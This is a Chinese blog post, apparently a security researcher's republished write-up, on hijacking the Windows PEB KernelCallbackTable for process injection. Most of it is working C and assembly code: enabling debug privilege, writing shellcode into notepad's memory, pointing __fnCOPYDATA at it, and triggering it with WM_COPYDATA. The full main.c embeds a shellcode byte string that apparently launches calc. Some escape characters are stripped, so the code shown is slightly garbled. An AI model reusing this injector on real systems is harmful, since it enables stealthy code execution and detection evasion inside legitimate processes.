引言
进程环境块(PEB)中的内核回调表可以被攻击者劫持,以重定向进程的执行流,使他们能够执行恶意有效载荷。这种方法允许对手通过替换合法的函数指针与恶意的来维持持久性,通常由Windows消息触发。
MITRE将其识别为劫持执行流和持久性技术,这种技术已被FinFisher/FinSpy和Lazarus等威胁组织使用。
在这篇博客中,我们将探讨PEB,如何操作内核回调表,以及这种技术如何应用于进程注入,以隐秘地在目标进程内执行代码。
我的PoC
链接 -> https://github.com/0xHossam/KernelCallbackTable-Injection-PoC
理解进程环境块(PEB)
进程环境块(PEB)是Windows中每个运行程序依赖的关键结构。可以将其视为程序运行和与系统交互的“控制中心”或“枢纽”。PEB是进程的内存空间的一部分,它帮助操作系统和程序管理各种内部细节。
PEB存储了重要的数据,如:
-
已加载模块 - 这些是程序需要的动态链接库(DLL)或外部库。例如,程序通常依赖于系统库提供的额外代码,如
kernel32.dll
或user32.dll
,PEB在这些库加载后跟踪它们。 -
堆信息 - 这部分PEB包含有关程序内存管理的信息。“堆”是程序在运行时存储数据的内存区域。PEB有助于管理和监控这部分内存的使用情况,跟踪分配和释放。
-
进程开始时间 - PEB还存储了进程创建的时间,这有助于了解程序已经运行了多长时间。
-
线程信息 - 每个程序通过“线程”运行任务或操作,PEB包含有关这些线程的数据。这有助于操作系统管理程序同时运行的不同任务。
-
进程标志和设置 - PEB持有描述进程行为的标志和配置数据。这可能包括安全设置、调试的特殊标志,甚至是否作为另一个进程的子系统运行。
-
内存布局信息 - PEB还持有有关进程内存布局的数据,例如程序的代码、数据和资源的不同部分在内存中的位置。
探索内核回调表
在PEB内部,存在一个内核回调表,这是一个函数指针数组,在user32.dll
加载到图形用户界面(GUI)进程时初始化。这个表包含指向处理窗口消息和其他进程间通信的各种回调函数的指针。表中的每个函数对应特定的任务,例如处理数据传输消息或管理窗口销毁事件。
例如,内核回调表中的__fnCOPYDATA
函数在响应WM_COPYDATA
窗口消息时被调用。这个函数促进了应用程序之间的数据传输,允许一个进程向另一个进程无缝发送数据。通过理解内核回调表中每个函数的结构和目的,我们可以了解进程如何处理各种系统事件。
定位和分析内核回调表
内核回调表是Windows GUI进程的进程环境块(PEB)中的关键结构。对手可以修改这个表来劫持进程的执行流,通过重定向特定的函数指针到恶意有效载荷。本指南提供了在WinDbg中定位和分析内核回调表的逐步指导,并理解其在进程注入中的作用。
定位PEB和内核回调表
-
识别PEB结构 -
在WinDbg中,可以使用 dt
命令探索PEB,该命令显示了结构的详细信息。KernelCallbackTable
通常在PEB中的偏移量+0x058
处找到。 -
在WinDbg中使用以下命令: dt ntdll!PEB
-
这将显示PEB结构及其字段,包括偏移量 +0x058
处的KernelCallbackTable
,显示内核回调表指针所在的位置。
-
定位内核回调表地址
-
在PEB中识别出 KernelCallbackTable
字段后,直接通过访问该字段来定位其地址:dt ntdll!PEB @$peb.KernelCallbackTable
-
此命令提供了内核回调表在PEB中的特定地址,其中包含函数指针数组。 -
检查内核回调表内容
-
获得内核回调表地址后,使用 dqs
命令在WinDbg中显示其内容。此命令显示从指定地址开始的每个四字(64位条目),揭示表中的回调函数指针。dqs 0x00007ffa`29123070 L60
-
此命令显示内核回调表的前60个四字(480字节),允许您直接检查回调函数地址。
分析内核回调表内的函数指针
内核回调表中,每个条目对应于进程可能在接收特定Windows消息时调用的回调函数的指针。某些函数指针,如__fnCOPYDATA
,特别引人注目,因为它们通过消息如WM_COPYDATA
处理数据传输。通过识别和分析这些指针,您可以了解进程如何处理某些事件。
-
识别 __fnCOPYDATA
条目 -
__fnCOPYDATA
函数通常用于注入技术,因为它可以通过WM_COPYDATA
消息触发,允许数据在进程间传递。 -
使用 dqs
命令和内核回调表的基本地址列出特定的函数指针,包括__fnCOPYDATA
。dqs 0x00007ffa`29123070 L10
-
示例输出: 00007ffa`29123070 00007ffa`290c2bd0 user32!_fnCOPYDATA
00007ffa`29123078 00007ffa`2911ae70 user32!_fnCOPYGLOBALDATA
00007ffa`29123080 00007ffa`290c0420 user32!_fnDWORD
... -
每个条目对应于内核回调表中的一个函数指针。这里, user32!_fnCOPYDATA
显示了__fnCOPYDATA
的地址,可以在处理WM_COPYDATA
消息时重定向以执行自定义代码。
通过内核回调表操作进行进程注入
对手可以操作进程的内核回调表来劫持其执行流,迫使其运行注入的代码。内核回调表是进程的进程环境块(PEB)中的一个函数指针数组,在任何图形用户界面(GUI)进程中加载user32.dll
时填充有回调函数。这些回调函数使系统与进程之间的通信成为可能,允许进程响应特定的Windows消息。
要使用内核回调表劫持执行流,攻击者可以替换一个或多个原始回调函数指针为指向恶意代码的指针。这种方法提供了一种将执行从合法回调重定向到注入的有效载荷的方式。通常使用反射式代码加载或进程注入来修改这些函数指针。例如,攻击者可以通过NtQueryInformationProcess
函数定位内核回调表,这是一个低级别的Windows API调用,它暴露了进程内部信息。一旦定位了PEB,攻击者就可以访问内核回调表,并可以继续替换回调函数指针,例如将__fnCOPYDATA
替换为恶意有效载荷的地址。
执行修改后,PEB可以更新为引用已更改的内核回调表,现在包含注入的有效载荷。恶意函数通常在发送特定Windows消息到目标进程时触发,激活已更改的回调函数,从而触发注入的有效载荷。由于这种操作发生在目标进程的内存中,它有效地通过在合法进程下执行有效载荷来规避检测。
执行被劫持并且有效载荷被执行后,高级对手可能会将原始的内核回调表恢复到其合法状态,以进一步规避检测。
步骤1 - 启用调试权限
在进程可以操作另一个进程的内存之前,有时需要启用调试权限。调试权限允许当前进程访问其他进程的敏感区域,这对于像内存读写这样的任务是必要的。没有这些权限,Windows安全将限制对其他进程的访问,使得注入变得不可能。
EnableDebugPrivilege
函数通过修改当前进程的令牌来提升权限,以启用SE_DEBUG_NAME
权限。
void EnableDebugPrivilege() {
printf( "[*] 启用调试权限...n" );
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if ( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) {
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tkp.Privileges[ 0 ].Luid );
tkp.PrivilegeCount = 1;
tkp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof( tkp ), NULL, NULL );
CloseHandle( hToken );
} else {
printf( "[-] 未能启用调试权限。n" );
}
}
详细说明
-
OpenProcessToken 打开当前进程的访问令牌,该令牌持有安全权限。 -
LookupPrivilegeValue 检索权限 SE_DEBUG_NAME
的本地唯一标识符(LUID),该权限授予进程调试能力。 -
AdjustTokenPrivileges 在令牌中设置权限以启用调试权限,允许进程对其他进程执行内存操作。
步骤2 - 加载NtQueryInformationProcess
NtQueryInformationProcess
函数来自ntdll.dll
,是一个低级别的Windows API函数,它提供了对进程的特定信息的访问,包括进程环境块(PEB)。PEB包含像内核回调表这样的结构,存储指向各种回调函数的指针。这个函数必须动态加载,因为它通常不通过标准Windows头文件可访问。
typedef NTSTATUS( NTAPI* pNtQueryInformationProcess )( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
void LoadNtQueryInformationProcess( pNtQueryInformationProcess &NtQueryInformationProcess ) {
printf( "[*] 加载NtQueryInformationProcess...n" );
HMODULE hNtdll = GetModuleHandleA( "ntdll.dll" );
if ( hNtdll ) {
NtQueryInformationProcess = ( pNtQueryInformationProcess ) GetProcAddress( hNtdll, "NtQueryInformationProcess" );
if ( NtQueryInformationProcess ) {
printf( "[+] NtQueryInformationProcess成功加载,地址:0x%pn", NtQueryInformationProcess );
} else {
printf( "[-] 未能解析NtQueryInformationProcess地址。n" );
}
}
}
详细说明
-
GetModuleHandle 加载 ntdll.dll
到进程中,使其函数可访问。 -
GetProcAddress 检索 NtQueryInformationProcess
的地址,以便后续调用此函数以获取有关目标进程的详细信息。
步骤3 - 启动目标进程
进程注入从创建记事本的实例开始,它将作为注入代码的目标。这个例子使用记事本,因为它是一个简单且众所周知的应用程序,允许对注入过程进行控制测试。
STARTUPINFO si = { sizeof( si ) };
PROCESS_INFORMATION pi;
printf( "[*] 创建新的记事本进程...n" );
if ( !CreateProcess( L"C:\Windows\System32\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) ) {
printf( "[-] 未能创建记事本进程。错误:%dn", GetLastError() );
return -1;
}
printf( "[+] 记事本进程创建成功。PID:%dn", pi.dwProcessId );
详细说明
-
CreateProcess 以新控制台启动记事本,进程信息存储在 pi
中。得到的进程ID(pi.dwProcessId
)是必需的,因为它标识了记事本进程,以便后续进行内存操作。
步骤4 - 定位目标窗口和进程ID
代码定位记事本的窗口句柄并检索其进程ID。这个句柄提供了与记事本的连接,使其成为可能打开句柄以操纵其内存。
HWND hWindow = NULL;
DWORD waitTime = 0;
const DWORD MAX_WAIT_TIME = 10000;
while ( hWindow == NULL && waitTime < MAX_WAIT_TIME ) {
hWindow = FindWindow( L"Notepad", NULL );
if ( !hWindow ) {
Sleep( 500 );
waitTime += 500;
}
}
if ( !hWindow ) {
printf( "[-] 未能找到记事本窗口句柄,等待%d毫秒后。n", MAX_WAIT_TIME );
TerminateProcess( pi.hProcess, 0 );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return -1;
}
printf( "[+] 窗口句柄找到:0x%pn", hWindow );
DWORD pid;
GetWindowThreadProcessId( hWindow, &pid );
printf( "[+] 进程ID:%dn", pid );
详细说明
-
FindWindow 通过名称搜索记事本的窗口类,并找到其句柄。如果找到句柄, GetWindowThreadProcessId
检索关联的进程ID。 -
这个进程ID是必需的,以便打开句柄直接访问记事本的内存。
步骤5 - 打开目标进程的句柄
有了进程ID,代码打开了记事本的句柄。这个句柄允许直接访问进程的内存,这对于注入至关重要。
HANDLE hProcess = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid );
if ( !hProcess ) {
printf( "[-] 未能打开目标进程。错误:%dn", GetLastError() );
return -1;
}
printf( "[+] 进程句柄:0x%pn", hProcess );
详细说明
-
OpenProcess 打开一个句柄,具有内存读写和查询操作的权限,允许注入器与记事本的内存交互。
步骤6 - 检索PEB地址
使用NtQueryInformationProcess
检索目标进程的PEB地址。PEB包含内核回调表,这是这次注入技术中要修改的重点。
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof( pbi ), &returnLength );
if ( status != 0 ) {
printf( "[-] 未能查询进程信息。NTSTATUS:0x%lxn", status );
return -1;
}
PVOID PebBaseAddress = pbi.PebBaseAddress;
printf( "[*] PEB地址:0x%pn", PebBaseAddress );
详细说明
-
NtQueryInformationProcess 填充了 PROCESS_BASIC_INFORMATION
结构,包括PebBaseAddress
,为进一步操作内核回调表提供了访问权限。
步骤7 - 读取内核回调表
有了PEB地址,代码读取了目标进程PEB中的内核回调表的内存地址,允许修改这个表内的函数指针以控制回调。
PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if ( !ReadProcessMemory( hProcess, ( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ), &KernelCallbackTable, sizeof( PVOID ), &bytesRead ) ) {
printf( "[-] 未能读取KernelCallbackTable。错误:
%dn", GetLastError() );
return -1;
}
printf( "[*] 内核回调表地址:0x%pn", KernelCallbackTable );
详细说明
-
ReadProcessMemory
访问PEB地址偏移处的内核回调表,提供访问控制某些回调函数的指针。
步骤8 - 为有效载荷分配内存
通常为shellcode,有效载荷在目标进程的内存空间中分配。内存被标记为可执行,以确保代码可以运行。
unsigned char my_payload[] = "...";
SIZE_T shellcodeSize = sizeof( my_payload );
LPVOID remotebuf = VirtualAllocEx( hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if ( !remotebuf ) {
printf( "[-] 未能为远程缓冲区分配内存。错误:%dn", GetLastError() );
return -1;
}
if ( !WriteProcessMemory( hProcess, remotebuf, my_payload, shellcodeSize, NULL ) ) {
printf( "[-] 未能将有效载荷写入远程缓冲区。错误:%dn", GetLastError() );
return -1;
}
printf( "[+] 有效载荷写入远程缓冲区,地址:0x%pn", remotebuf );
详细说明
-
VirtualAllocEx 在目标进程中分配内存,并将其标记为 PAGE_EXECUTE_READWRITE
,使其既可写又可执行。 -
WriteProcessMemory 将shellcode写入分配的空间,使其在触发时能够运行。
步骤9 - 修改内核回调表
通过将__fnCOPYDATA
指针重定向到注入的有效载荷,内核回调表被修改。这使得Windows在处理WM_COPYDATA
消息时调用有效载荷。
KERNELCALLBACKTABLE cKCT;
if ( !ReadProcessMemory( hProcess, KernelCallbackTable, &cKCT, sizeof( cKCT ), &bytesRead ) ) {
printf( "[-] 未能读取现有的内核回调表。错误:%dn", GetLastError() );
return -1;
}
cKCT.__fnCOPYDATA = ( ULONG_PTR ) remotebuf;
LPVOID clonedcKCT = VirtualAllocEx( hProcess, NULL, sizeof( cKCT ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
if ( !clonedcKCT || !WriteProcessMemory( hProcess, clonedcKCT, &cKCT, sizeof( cKCT ), NULL ) ) {
printf( "[-] 未能克隆内核回调表。错误:%dn", GetLastError() );
return -1;
}
详细说明
-
ReadProcessMemory
检索内核回调表结构。__fnCOPYDATA
字段被重定向以指向有效载荷,使其在接收WM_COPYDATA
消息时执行。
步骤10 - 使用修改后的表更新PEB
修改后的内核回调表被写入PEB,确保Windows引用这个修改后的版本。
if ( !WriteProcessMemory( hProcess, ( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ), &clonedcKCT, sizeof( PVOID ), &bytesRead ) ) {
printf( "[-] 未能更新PEB内核回调表。错误:%dn", GetLastError() );
return -1;
}
printf( "[+] PEB内核回调表更新成功!n" );
详细说明
-
WriteProcessMemory
将修改后的表写入PEB,使更改的回调结构激活,准备触发有效载荷。
步骤11 - 触发有效载荷
代码发送WM_COPYDATA
消息,激活内核回调表中的__fnCOPYDATA
函数,执行有效载荷。
COPYDATASTRUCT cds;
WCHAR msg[] = L"trigger";
cds.dwData = 1;
cds.cbData = ( lstrlenW( msg ) + 1 ) * sizeof( WCHAR );
cds.lpData = msg;
LRESULT result = SendMessage( hWindow, WM_COPYDATA, ( WPARAM ) hWindow, ( LPARAM ) &cds );
if ( result == 0 && GetLastError() != 0 ) {
printf( "[-] 未能发送消息以触发有效载荷。错误:%dn", GetLastError() );
return -1;
}
printf( "[+] 有效载荷触发!n" );
步骤12 - 清理
最后,释放内存分配并关闭句柄,确保干净退出并最小化检测风险。
VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );
VirtualFreeEx( hProcess, clonedcKCT, 0, MEM_RELEASE );
CloseHandle( hProcess );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
printf( "[+] 清理完成成功。n" );
这个过程演示了通过内核回调表操作进行的逐步代码注入,为目标进程的上下文中提供了完全的执行控制。
辅助汇编代码
为了增强注入过程,我们使用了在helper.asm
中定义的一些汇编函数。这些函数帮助我们更有效地定位PEB和操作内核回调表。
LocatePEB
这个函数通过访问gs
段寄存器来检索当前进程的PEB地址,在x64架构中指向线程信息块(TIB)。
LocatePEB PROC
mov rax, qword ptr gs:[60h] ; 在x64中访问PEB
ret
LocatePEB ENDP
ResolveKernelCallbackTable
给定RCX
寄存器中的PEB地址,这个函数通过访问PEB结构内偏移量0x58
处的内存来检索内核回调表的地址。
ResolveKernelCallbackTable PROC
mov rax, qword ptr [rcx + 58h] ; PEB中KernelCallbackTable的偏移量(0x58)
ret
ResolveKernelCallbackTable ENDP
WriteKernelCallbackTable
这个函数通过将新地址写入指定偏移量来更新PEB中的内核回调表地址。
WriteKernelCallbackTable PROC
mov qword ptr [rcx + 58h], rdx ; 写入新的内核回调表地址
ret
WriteKernelCallbackTable ENDP
这些汇编函数简化了与PEB和内核回调表交互的过程,使我们的C++代码更清晰、更高效。
全部整合在一起!
main.c
#include <stdio.h>
#include <windows.h>
#include "struct.h"
#include "helper.h"
void LoadNtQueryInformationProcess()
{
printf( COLOR_YELLOW_BOLD "[*] 加载NtQueryInformationProcess...n" COLOR_RESET );
HMODULE hNtdll = GetModuleHandle( L"ntdll.dll" );
if ( hNtdll )
{
NtQueryInformationProcess = ( PFN_NTQUERYINFORMATIONPROCESS ) GetProcAddress( hNtdll, "NtQueryInformationProcess" );
if ( NtQueryInformationProcess )
{
printf( COLOR_GREEN_BOLD "[+] NtQueryInformationProcess成功加载,地址:0x%pn" COLOR_RESET, NtQueryInformationProcess );
}
else
{
printf( COLOR_RED_BOLD "t[-] 未能解析NtQueryInformationProcess地址。n" COLOR_RESET );
}
}
}
void EnableDebugPrivilege()
{
printf( COLOR_YELLOW_BOLD "[*] 启用调试权限...n" COLOR_RESET );
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if ( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tkp.Privileges[ 0 ].Luid );
tkp.PrivilegeCount = 1;
tkp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof( tkp ), NULL, NULL );
CloseHandle( hToken );
// printf( COLOR_GREEN_BOLD "t[+] 调试权限已启用。n" COLOR_RESET );
}
else
{
printf( COLOR_RED_BOLD "t[-] 未能启用调试权限。n" COLOR_RESET );
}
}
unsigned char payload[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";
SIZE_T shellcodeSize = sizeof( payload ) - 1;
SIZE_T bytesRead = 0;
int main()
{
printf( COLOR_YELLOW_BOLD "[*] 初始化漏洞利用...n" COLOR_RESET );
EnableDebugPrivilege();
LoadNtQueryInformationProcess();
if ( !NtQueryInformationProcess )
{
printf( COLOR_RED_BOLD "t[-] NtQueryInformationProcess为空。退出...n" COLOR_RESET );
return -1;
}
printf( COLOR_YELLOW_BOLD "[*] 开始PEB内核回调表注入漏洞利用...nn" COLOR_RESET );
// 步骤1:创建一个新的记事本进程(确保它对用户可见)
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { sizeof( STARTUPINFO ) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf( COLOR_YELLOW_BOLD "t[*] 创建新的记事本进程...n" COLOR_RESET );
if ( !CreateProcess(
L"C:\Windows\System32\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
) )
{
printf( COLOR_RED_BOLD "t[-] 未能创建记事本进程。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] 记事本进程创建成功。PID:%dn" COLOR_RESET, pi.dwProcessId );
// 步骤2:等待新进程初始化
printf( COLOR_YELLOW_BOLD "t[*] 等待记事本初始化...n" COLOR_RESET );
WaitForInputIdle( pi.hProcess, 1000 );
// 步骤3:找到记事本窗口句柄
HWND hWindow = NULL;
DWORD waitTime = 0;
while ( hWindow == NULL && waitTime < MAX_WAIT_TIME )
{
hWindow = FindWindow( L"Notepad", NULL );
if ( !hWindow )
{
Sleep( 500 ); // 等待500毫秒后重试
waitTime += 500;
}
}
if ( !hWindow )
{
printf( COLOR_RED_BOLD "t[-] 未能找到记事本窗口句柄,等待%d毫秒后。n" COLOR_RESET, MAX_WAIT_TIME );
TerminateProcess( pi.hProcess, 0 );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] 窗口句柄找到:0x%pn" COLOR_RESET, hWindow );
// 步骤4:获取记事本的进程ID
DWORD pid;
GetWindowThreadProcessId( hWindow, &pid );
printf( COLOR_GREEN_BOLD "t[+] 进程ID:%dn" COLOR_RESET, pid );
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
pid
);
if ( !hProcess )
{
printf( COLOR_RED_BOLD "t[-] 未能打开目标进程。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] 进程句柄:0x%pn" COLOR_RESET, hProcess );
// -----------------------------------------------------
// 使用NtQueryInformationProcess获取PEB
// -----------------------------------------------------
printf( COLOR_YELLOW_BOLD "t[*] 使用NtQueryInformationProcess检索PEB地址...n" COLOR_RESET );
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof( pbi ),
&returnLength
);
if ( status != 0 )
{
printf( COLOR_RED_BOLD "t[-] 未能查询进程信息。NTSTATUS:0x%lxn" COLOR_RESET, status );
return -1;
}
PVOID PebBaseAddress = pbi.PebBaseAddress;
printf( COLOR_BLUE_BOLD "tt[*] PEB地址:0x%pn" COLOR_RESET, PebBaseAddress );
// 步骤6:从目标进程的PEB读取内核回调表
PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if ( !ReadProcessMemory(
hProcess,
( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ),
&KernelCallbackTable,
sizeof( PVOID ),
&bytesRead
) )
{
printf( COLOR_RED_BOLD "t[-] 未能读取内核回调表。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_BLUE_BOLD "tt[*] 内核回调表地址:0x%pn" COLOR_RESET, KernelCallbackTable );
// 步骤7:从目标进程读取内核回调表结构
KERNELCALLBACKTABLE CCC;
if ( !ReadProcessMemory(
hProcess,
KernelCallbackTable,
&CCC,
sizeof( CCC ),
&bytesRead
) )
{
printf( COLOR_RED_BOLD "t[-] 未能读取内核回调表结构。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "nt[+] 内核回调表读取成功。%zu字节已读取。n" COLOR_RESET, bytesRead );
printf( COLOR_BLUE_BOLD "tt[*] 转储内核回调表结构:n" COLOR_RESET );
printf( COLOR_GREEN_BOLD "ttt__fnCOPYDATA:0x%pn" COLOR_RESET, ( void* ) CCC.__fnCOPYDATA );
printf( COLOR_GREEN_BOLD "ttt__fnCOPYGLOBALDATA:0x%pn" COLOR_RESET, ( void* ) CCC.__fnCOPYGLOBALDATA );
printf( COLOR_GREEN_BOLD "ttt__fnDWORD:0x%pn" COLOR_RESET, ( void* ) CCC.__fnDWORD );
// -----------------------------------------------------
// 汇编方法:使用LocatePEB和ResolveKernelCallbackTable
// -----------------------------------------------------
/*
//
printf( COLOR_YELLOW_BOLD "t[*] 使用汇编检索PEB地址...n" COLOR_RESET );
PVOID PebBaseAddressASM = LocatePEB();
printf( COLOR_BLUE_BOLD "tt[*] PEB地址(来自汇编):0x%pn" COLOR_RESET, PebBaseAddressASM );
printf( COLOR_YELLOW_BOLD "t[*] 使用汇编解析内核回调表...n" COLOR_RESET );
PVOID KernelCallbackTableASM = ResolveKernelCallbackTable( PebBaseAddressASM );
printf( COLOR_BLUE_BOLD "tt[*] 内核回调表地址(来自汇编):0x%pn" COLOR_RESET, KernelCallbackTableASM );
// 根据需要继续使用KernelCallbackTableASM
*/
// 步骤8:为有效载荷远程缓冲区写入
printf( COLOR_YELLOW_BOLD "nt[*] 为有效载荷分配远程缓冲区...n" COLOR_RESET );
LPVOID remotebuf = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if ( !remotebuf )
{
printf( COLOR_RED_BOLD "t[-] 未能为远程缓冲区分配内存。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
if ( !WriteProcessMemory(
hProcess,
remotebuf,
payload,
shellcodeSize,
NULL
) )
{
printf( COLOR_RED_BOLD "t[-] 未能将有效载荷写入远程缓冲区。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] 有效载荷写入远程缓冲区,地址:0x%pn" COLOR_RESET, remotebuf );
// 步骤9:修改内核回调表中的__fnCOPYDATA
printf( COLOR_YELLOW_BOLD "t[*] 修改__fnCOPYDATA指向有效载荷...n" COLOR_RESET );
CCC.__fnCOPYDATA = ( ULONG_PTR ) remotebuf;
printf( COLOR_BLUE_BOLD "tt[*] __fnCOPYDATA现在指向:0x%pn" COLOR_RESET, remotebuf );
// 步骤10:克隆修改后的内核回调表
printf( COLOR_YELLOW_BOLD "nt[*] 克隆修改后的内核回调表...n" COLOR_RESET );
LPVOID cloneCCC = VirtualAllocEx(
hProcess,
NULL,
sizeof( CCC ),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
);
if ( !cloneCCC )
{
printf( COLOR_RED_BOLD "t[-] 未能为克隆的内核回调表分配内存。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
if ( !WriteProcessMemory(
hProcess,
cloneCCC,
&CCC,
sizeof( CCC ),
NULL
) )
{
printf( COLOR_RED_BOLD "t[-] 未能写入克隆的内核回调表。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] 克隆的内核回调表写入地址:0x%pn" COLOR_RESET, cloneCCC );
// 步骤11:更新PEB内核回调表为克隆的内核回调表
printf( COLOR_YELLOW_BOLD "t[*] 更新PEB为克隆的内核回调表...n" COLOR_RESET );
if ( !WriteProcessMemory(
hProcess,
( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ),
&cloneCCC,
sizeof( PVOID ),
&bytesRead
) )
{
printf( COLOR_RED_BOLD "t[-] 未能更新PEB内核回调表。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] PEB内核回调表更新成功!n" COLOR_RESET );
// 步骤12:确保有效载荷的内存保护
DWORD oldProtect;
if ( !VirtualProtectEx(
hProcess,
remotebuf,
shellcodeSize,
PAGE_EXECUTE_READ,
&oldProtect
) )
{
printf( COLOR_RED_BOLD "t[-] 未能更改有效载荷的内存保护。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] 有效载荷的内存保护设置为PAGE_EXECUTE_READ。n" COLOR_RESET );
// 步骤13:触发有效载荷
printf( COLOR_YELLOW_BOLD "t[*] 发送消息以触发有效载荷...n" COLOR_RESET );
COPYDATASTRUCT cds;
WCHAR msg[] = L"LJX";
cds.dwData = 1;
cds.cbData = ( lstrlenW( msg ) + 1 ) * sizeof( WCHAR );
cds.lpData = msg;
LRESULT result = SendMessage(
hWindow,
WM_COPYDATA,
( WPARAM ) hWindow,
( LPARAM ) &cds
);
if ( result == 0 && GetLastError() != 0 )
{
printf( COLOR_RED_BOLD "t[-] 未能发送消息以触发有效载荷。错误:%dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] 有效载荷触发!n" COLOR_RESET );
// 清理
printf( COLOR_YELLOW_BOLD "t[*] 清理...n" COLOR_RESET );
VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );
VirtualFreeEx( hProcess, cloneCCC, 0, MEM_RELEASE );
TerminateProcess( pi.hProcess, 0 );
CloseHandle( hProcess );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
printf( COLOR_GREEN_BOLD "n[+] YAAAAAAAAAY.n" COLOR_RESET );
printf( COLOR_GREEN_BOLD "[+] 漏洞利用完成成功。n" COLOR_RESET );
return 0;
}
最后,感谢您的阅读!
原文始发于微信公众号(独眼情报):隐秘进程注入:新内核回调表技术曝光
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论